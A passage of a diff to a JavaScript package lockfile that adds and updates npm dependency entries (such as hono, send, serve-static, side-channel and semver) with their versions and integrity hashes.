"kind-of": "^6.0.2", "section-matter": "^1.0.0", "strip-bom-string": "^1.0.0" } }, "sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q=="], + + "has-symbols": ["has-symbols@1.1.0", "", {}, "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ=="], + + "hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="], + + "hono": ["hono@4.11.9", "", {}, "sha512-Eaw2YTGM6WOxA6CXbckaEvslr2Ne4NFsKrvc0v97JD5awbmeBLO5w9Ho9L9kmKonrwF9RJlW6BxT1PVv/agBHQ=="], + + "hono-openapi": ["hono-openapi@1.2.0", "", { "peerDependencies": { "@hono/standard-validator": "^0.2.0", "@standard-community/standard-json": "^0.3.5", "@standard-community/standard-openapi": "^0.2.9", "@types/json-schema": "^7.0.15", "hono": "^4.8.3", "openapi-types": "^12.1.3" }, "optionalPeers": ["@hono/standard-validator", "hono"] }, "sha512-t3u4v8YCltExDl4d9cLqg/mcrYFSs9Gjb5puF1CePPrvv1JQOo1Kc50HAmGt47CWHIoc/W8Q9LY3t3yqU0dxFw=="], + + "http-errors": ["http-errors@2.0.1", "", { "dependencies": { "depd": "~2.0.0", "inherits": "~2.0.4", "setprototypeof": "~1.2.0", "statuses": "~2.0.2", "toidentifier": "~1.0.1" } }, "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ=="], + "https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="], + "iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="], + "ignore": ["ignore@7.0.5", "", {}, "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg=="], "import-in-the-middle": ["import-in-the-middle@2.0.6", "", { "dependencies": { "acorn": "^8.15.0", "acorn-import-attributes": "^1.9.5", "cjs-module-lexer": "^2.2.0", "module-details-from-path": "^1.0.4" } }, "sha512-3vZV3jX0XRFW3EJDTwzWoZa+RH1b8eTTx6YOCjglrLyPuepwoBti1k3L2dKwdCUrnVEfc5CuRuGstaC/uQJJaw=="], + "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="], + + "ip-address": ["ip-address@10.0.1", "", {}, "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA=="], + + "ipaddr.js": ["ipaddr.js@1.9.1", "", {}, "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="], + "is-binary-path": ["is-binary-path@2.1.0", "", { "dependencies": { "binary-extensions": "^2.0.0" } }, "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw=="], + "is-extendable": ["is-extendable@0.1.1", "", {}, "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw=="], + "is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="], "is-glob": ["is-glob@4.0.3", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="], + "is-network-error": ["is-network-error@1.3.0", "", {}, "sha512-6oIwpsgRfnDiyEDLMay/GqCl3HoAtH5+RUKW29gYkL0QA+ipzpDLA16yQs7/RHCSu+BwgbJaOUqa4A99qNVQVw=="], + "is-number": ["is-number@7.0.0", "", {}, "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="], + "is-promise": ["is-promise@4.0.0", "", {}, "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ=="], + "isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="], + "jackspeak": ["jackspeak@4.2.3", "", { "dependencies": { "@isaacs/cliui": "^9.0.0" } }, "sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg=="], + + "jose": ["jose@6.1.3", "", {}, "sha512-0TpaTfihd4QMNwrz/ob2Bp7X04yuxJkjRGi4aKmOqwhov54i6u79oCv7T+C7lo70MKH6BesI3vscD1yb/yzKXQ=="], + + "js-tiktoken": ["js-tiktoken@1.0.21", "", { "dependencies": { "base64-js": "^1.5.1" } }, "sha512-biOj/6M5qdgx5TKjDnFT1ymSpM5tbd3ylwDtrQvFQSu0Z7bBYko2dF+W/aUkXUPuk6IVpRxk/3Q2sHOzGlS36g=="], + "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="], + "js-yaml": ["js-yaml@3.14.2", "", { "dependencies": { "argparse": "^1.0.7", "esprima": "^4.0.0" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg=="], + "jsesc": ["jsesc@3.1.0", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA=="], + "json-schema": ["json-schema@0.4.0", "", {}, "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA=="], + + "json-schema-to-zod": ["json-schema-to-zod@2.7.0", "", { "bin": { "json-schema-to-zod": "dist/cjs/cli.js" } }, "sha512-eW59l3NQ6sa3HcB+Ahf7pP6iGU7MY4we5JsPqXQ2ZcIPF8QxSg/lkY8lN0Js/AG0NjMbk+nZGUfHlceiHF+bwQ=="], + + "json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], + + "json-schema-typed": ["json-schema-typed@8.0.2", "", {}, "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA=="], + "json5": ["json5@2.2.3", "", { "bin": { "json5": "lib/cli.js" } }, "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg=="], "jsonc-parser": ["jsonc-parser@3.3.1", "", {}, "sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ=="], + "kind-of": ["kind-of@6.0.3", "", {}, "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="], + "locate-path": ["locate-path@6.0.0", "", { "dependencies": { "p-locate": "^5.0.0" } }, "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw=="], - "lru-cache": ["lru-cache@11.2.4", "", {}, "sha512-B5Y16Jr9LB9dHVkh6ZevG+vAbOsNOYCX+sXvFWFu7B3Iz5mijW3zdbMyhsh8ANd2mSWBYdJgnqi+mL7/LrOPYg=="], + "lru-cache": ["lru-cache@11.2.6", "", {}, "sha512-ESL2CrkS/2wTPfuend7Zhkzo2u0daGJ/A2VucJOgQ/C48S/zB8MMeMHSGKYpXhIjbPxfuezITkaBH1wqv00DDQ=="], "magic-string": ["magic-string@0.30.8", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.4.15" } }, "sha512-ISQTe55T2ao7XtlAStud6qwYPZjE4GK1S/BeVPus4jrq6JuOnQ00YKQC581RWhR122W7msZV263KzVeLoqidyQ=="], + "math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="], + + "media-typer": ["media-typer@1.1.0", "", {}, "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw=="], + + "merge-descriptors": ["merge-descriptors@1.0.3", "", {}, "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ=="], + + "methods": ["methods@1.1.2", "", {}, "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="], + + "mime": ["mime@1.6.0", "", { "bin": { "mime": "cli.js" } }, "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="], + + "mime-db": ["mime-db@1.54.0", "", {}, "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ=="], + + "mime-types": ["mime-types@3.0.2", "", { "dependencies": { "mime-db": "^1.54.0" } }, "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A=="], + "minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="], "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], @@ -393,24 +597,48 @@ "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], + "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], + + "negotiator": ["negotiator@0.6.3", "", {}, "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg=="], + "node-fetch": ["node-fetch@2.7.0", "", { "dependencies": { "whatwg-url": "^5.0.0" }, "peerDependencies": { "encoding": "^0.1.0" }, "optionalPeers": ["encoding"] }, "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A=="], "node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="], "normalize-path": ["normalize-path@3.0.0", "", {}, "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="], - "nypm": ["nypm@0.6.4", "", { "dependencies": { "citty": "^0.2.0", "pathe": "^2.0.3", "tinyexec": "^1.0.2" }, "bin": { "nypm": "dist/cli.mjs" } }, "sha512-1TvCKjZyyklN+JJj2TS3P4uSQEInrM/HkkuSXsEzm1ApPgBffOn8gFguNnZf07r/1X6vlryfIqMUkJKQMzlZiw=="], + "nypm": ["nypm@0.6.5", "", { "dependencies": { "citty": "^0.2.0", "pathe": "^2.0.3", "tinyexec": "^1.0.2" }, "bin": { "nypm": "dist/cli.mjs" } }, "sha512-K6AJy1GMVyfyMXRVB88700BJqNUkByijGJM8kEHpLdcAt+vSQAVfkWWHYzuRXHSY6xA2sNc5RjTj0p9rE2izVQ=="], + + "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], - "p-limit": ["p-limit@7.2.0", "", { "dependencies": { "yocto-queue": "^1.2.1" } }, "sha512-ATHLtwoTNDloHRFFxFJdHnG6n2WUeFjaR8XQMFdKIv0xkXjrER8/iG9iu265jOM95zXHAfv9oTkqhrfbIzosrQ=="], + "object-inspect": ["object-inspect@1.13.4", "", {}, "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew=="], + + "on-finished": ["on-finished@2.4.1", "", { "dependencies": { "ee-first": "1.1.1" } }, "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg=="], + + "once": ["once@1.4.0", "", { "dependencies": { "wrappy": "1" } }, "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w=="], + + "openapi-types": ["openapi-types@12.1.3", "", {}, "sha512-N4YtSYJqghVu4iek2ZUvcN/0aqH1kRDuNqzcycDxhOUpg7GdvLa2F3DgS6yBNhInhv2r/6I0Flkn7CqL8+nIcw=="], + + "p-limit": ["p-limit@7.3.0", "", { "dependencies": { "yocto-queue": "^1.2.1" } }, "sha512-7cIXg/Z0M5WZRblrsOla88S4wAK+zOQQWeBYfV3qJuJXMr+LnbYjaadrFaS0JILfEDPVqHyKnZ1Z/1d6J9VVUw=="], "p-locate": ["p-locate@5.0.0", "", { "dependencies": { "p-limit": "^3.0.2" } }, "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw=="], + "p-map": ["p-map@7.0.4", "", {}, "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ=="], + + "p-retry": ["p-retry@7.1.1", "", { "dependencies": { "is-network-error": "^1.1.0" } }, "sha512-J5ApzjyRkkf601HpEeykoiCvzHQjWxPAHhyjFcEUP2SWq0+35NKh8TLhpLw+Dkq5TZBFvUM6UigdE9hIVYTl5w=="], + "parse-ms": ["parse-ms@4.0.0", "", {}, "sha512-TXfryirbmq34y8QBwgqCVLi+8oA3oWx2eAnSn62ITyEhEYaWRlVZ2DvMM9eZbMs/RfxPu/PK/aBLyGj4IrqMHw=="], + "parseurl": ["parseurl@1.3.3", "", {}, "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ=="], + "path-exists": ["path-exists@4.0.0", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="], + "path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="], + "path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="], + "path-to-regexp": ["path-to-regexp@0.1.12", "", {}, "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ=="], + "pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], "pg-int8": ["pg-int8@1.0.1", "", {}, "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw=="], @@ -423,6 +651,8 @@ "picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], + "pkce-challenge": ["pkce-challenge@5.0.1", "", {}, "sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ=="], + "postgres-array": ["postgres-array@2.0.0", "", {}, "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA=="], "postgres-bytea": ["postgres-bytea@1.0.1", "", {}, "sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ=="], @@ -435,47 +665,105 @@ "progress": ["progress@2.0.3", "", {}, "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA=="], + "proxy-addr": ["proxy-addr@2.0.7", "", { "dependencies": { "forwarded": "0.2.0", "ipaddr.js": "1.9.1" } }, "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg=="], + "proxy-from-env": ["proxy-from-env@1.1.0", "", {}, "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="], "pure-rand": ["pure-rand@7.0.1", "", {}, "sha512-oTUZM/NAZS8p7ANR3SHh30kXB+zK2r2BPcEn/awJIbOvq82WoMN4p62AWWp3Hhw50G0xMsw1mhIBLqHw64EcNQ=="], "qrcode-terminal": ["qrcode-terminal@0.12.0", "", { "bin": { "qrcode-terminal": "./bin/qrcode-terminal.js" } }, "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ=="], + "qs": ["qs@6.15.0", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ=="], + + "quansync": ["quansync@0.2.11", "", {}, "sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA=="], + + "radash": ["radash@12.1.1", "", {}, "sha512-h36JMxKRqrAxVD8201FrCpyeNuUY9Y5zZwujr20fFO77tpUtGa6EZzfKw/3WaiBX95fq7+MpsuMLNdSnORAwSA=="], + + "range-parser": ["range-parser@1.2.1", "", {}, "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg=="], + + "raw-body": ["raw-body@3.0.2", "", { "dependencies": { "bytes": "~3.1.2", "http-errors": "~2.0.1", "iconv-lite": "~0.7.0", "unpipe": "~1.0.0" } }, "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA=="], + "readdirp": ["readdirp@3.6.0", "", { "dependencies": { "picomatch": "^2.2.1" } }, "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA=="], + "require-from-string": ["require-from-string@2.0.2", "", {}, "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="], + "require-in-the-middle": ["require-in-the-middle@8.0.1", "", { "dependencies": { "debug": "^4.3.5", "module-details-from-path": "^1.0.3" } }, "sha512-QT7FVMXfWOYFbeRBF6nu+I6tr2Tf3u0q8RIEjNob/heKY/nh7drD/k7eeMFmSQgnTtCzLDcCu/XEnpW2wk4xCQ=="], - "semver": ["semver@7.7.3", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], + "router": ["router@2.2.0", "", { "dependencies": { "debug": "^4.4.0", "depd": "^2.0.0", "is-promise": "^4.0.0", "parseurl": "^1.3.3", "path-to-regexp": "^8.0.0" } }, "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ=="], + + "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], + + "safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="], + + "section-matter": ["section-matter@1.0.0", "", { "dependencies": { "extend-shallow": "^2.0.1", "kind-of": "^6.0.0" } }, "sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA=="], + + "secure-json-parse": ["secure-json-parse@2.7.0", "", {}, "sha512-6aU+Rwsezw7VR8/nyvKTx8QpWH9FrcYiXXlqC4z5d5XQBDRqtbfsRjnwGyqbi3gddNtWHuEk9OANUotL26qKUw=="], + + "semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], + + "send": ["send@0.19.2", "", { "dependencies": { "debug": "2.6.9", "depd": "2.0.0", "destroy": "1.2.0", "encodeurl": "~2.0.0", "escape-html": "~1.0.3", "etag": "~1.8.1", "fresh": "~0.5.2", "http-errors": "~2.0.1", "mime": "1.6.0", "ms": "2.1.3", "on-finished": "~2.4.1", "range-parser": "~1.2.1", "statuses": "~2.0.2" } }, "sha512-VMbMxbDeehAxpOtWJXlcUS5E8iXh6QmN+BkRX1GARS3wRaXEEgzCcB10gTQazO42tpNIya8xIyNx8fll1OFPrg=="], + + "serve-static": ["serve-static@1.16.3", "", { "dependencies": { "encodeurl": "~2.0.0", "escape-html": "~1.0.3", "parseurl": "~1.3.3", "send": "~0.19.1" } }, "sha512-x0RTqQel6g5SY7Lg6ZreMmsOzncHFU7nhnRWkKgWuMTu5NN0DR5oruckMqRvacAN9d5w6ARnRBXl9xhDCgfMeA=="], + + "setprototypeof": ["setprototypeof@1.2.0", "", {}, "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="], + + "shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="], + + "shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="], + + "side-channel": ["side-channel@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.3", "side-channel-list": "^1.0.0", "side-channel-map": "^1.0.1", "side-channel-weakmap": "^1.0.2" } }, "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw=="], + + "side-channel-list": ["side-channel-list@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.3" } }, "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA=="], + + "side-channel-map": ["side-channel-map@1.0.1", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3" } }, "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA=="], + + "side-channel-weakmap": ["side-channel-weakmap@1.0.2", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3", "side-channel-map": "^1.0.1" } }, "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A=="], "sisteransi": ["sisteransi@1.0.5", "", {}, "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="], + "sprintf-js": ["sprintf-js@1.0.3", "", {}, "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="], + + "statuses": ["statuses@2.0.2", "", {}, "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw=="], + + "strip-bom-string": ["strip-bom-string@1.0.0", "", {}, "sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g=="], + "tinyexec": ["tinyexec@1.0.2", "", {}, 